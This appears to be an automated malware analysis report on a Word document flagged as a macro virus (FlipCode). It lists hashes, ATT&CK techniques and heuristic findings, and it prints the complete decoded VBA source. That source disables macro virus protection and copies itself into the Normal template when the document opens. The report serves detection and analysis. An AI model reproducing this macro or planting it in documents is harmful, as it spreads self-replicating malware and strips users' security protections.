Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7b8949d5a9d3acb5…

MALICIOUS

Office (OLE)

107.5 KB Created: 2006-08-17 02:10:00 Authoring application: Microsoft Word 10.0 First seen: 2014-09-26
MD5: 4b07b104ebad6675c26ca5594b638d64 SHA-1: 24664770333978ac90eb7a347a07d0c422721ffa SHA-256: 7b8949d5a9d3acb5d68d15cf12e43f6ca90d3dca4dee58d68c3b51bf390c46b9
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros, including a Document_Open macro, which is a common technique for malicious Office documents. The script attempts to disable virus protection and replicate its code into the Normal template, indicating a self-replication and persistence mechanism. The obfuscated nature of the script and its attempts to tamper with security settings suggest a malicious intent to spread or maintain access.

Heuristics 4

  • ClamAV: Doc.Trojan.FlipCode-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FlipCode-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = 0 ' gal txeN
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines > 0 Then NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines ' $van ,1 seniLtresnI.eludoMedoC.)1(metI.stnenopmoCBV.tcejorPBV.tnemucoDevitcA
For lav = 1 To 14 ' tanya txeN
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub document_open() ' buS dnE :lacitirCbv ,".yltcerroc ti llatsni ot putes nur esaelP .dezilaitini eb ton dluoc tnemnorivne cisaB lausiV ehT" xoBgsM :)(edocbvweiv buS etavirP
Application.ShowVisualBasicEditor = False ' buS dnE

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1870 bytes
SHA-256: face4de63da4d6096a9d1976eb69f608dac1aad9f1e18e9434571e92baad5789
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub document_open() ' buS dnE :lacitirCbv ,".yltcerroc ti llatsni ot putes nur esaelP .dezilaitini eb ton dluoc tnemnorivne cisaB lausiV ehT" xoBgsM :)(edocbvweiv buS etavirP
Application.ShowVisualBasicEditor = False ' buS dnE
On Error GoTo yalav ' emaNlluF.tnemucoDevitcA=:emaNeliF sAevaS.tnemucoDevitcA nehT "tnemucoD" >< )8 ,emaN.tnemucoDevitcA(tfeL fI
Options.VirusProtection = 0 ' gal txeN
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines > 0 Then NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines ' $van ,1 seniLtresnI.eludoMedoC.)1(metI.stnenopmoCBV.tcejorPBV.tnemucoDevitcA
For lav = 1 To 14 ' tanya txeN
ehs$ = "" ' )1 ,tanya ,))1 ,gal(senil.eludoMedoC.)1(metI.stnenopmoCBV.tcejorPBV.etalpmeTlamroN(($diM & $van = $van
For ruam = 1 To Len(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.lines(lav, 1)) ' 1- petS 1 oT ))1 ,gal(senil.eludoMedoC.)1(metI.stnenopmoCBV.tcejorPBV.etalpmeTlamroN(neL = tanya roF
ehs$ = Mid$((ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.lines(lav, 1)), ruam, 1) & ehs$ ' "" = $van
Next ruam ' 41 oT 1 = gal roF
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.InsertLines 1, ehs$ ' seniLfOtnuoC.eludoMedoC.)1(metI.stnenopmoCBV.tcejorPBV.tnemucoDevitcA ,1 seniLeteleD.eludoMedoC.)1(metI.stnenopmoCBV.tcejorPBV.tnemucoDevitcA nehT 0 > seniLfOtnuoC.eludoMedoC.)1(metI.stnenopmoCBV.tcejorPBV.tnemucoDevitcA fI
Next lav ' eslaF = noitcetorPsuriV.snoitpO
'9991 eam 0.1v edocpilf' txeN emuseR rorrE nO
yalav: End Sub ' )(esolc_tnemucod buS etavirP

Open this report in the interactive analyzer, or submit your own file for analysis.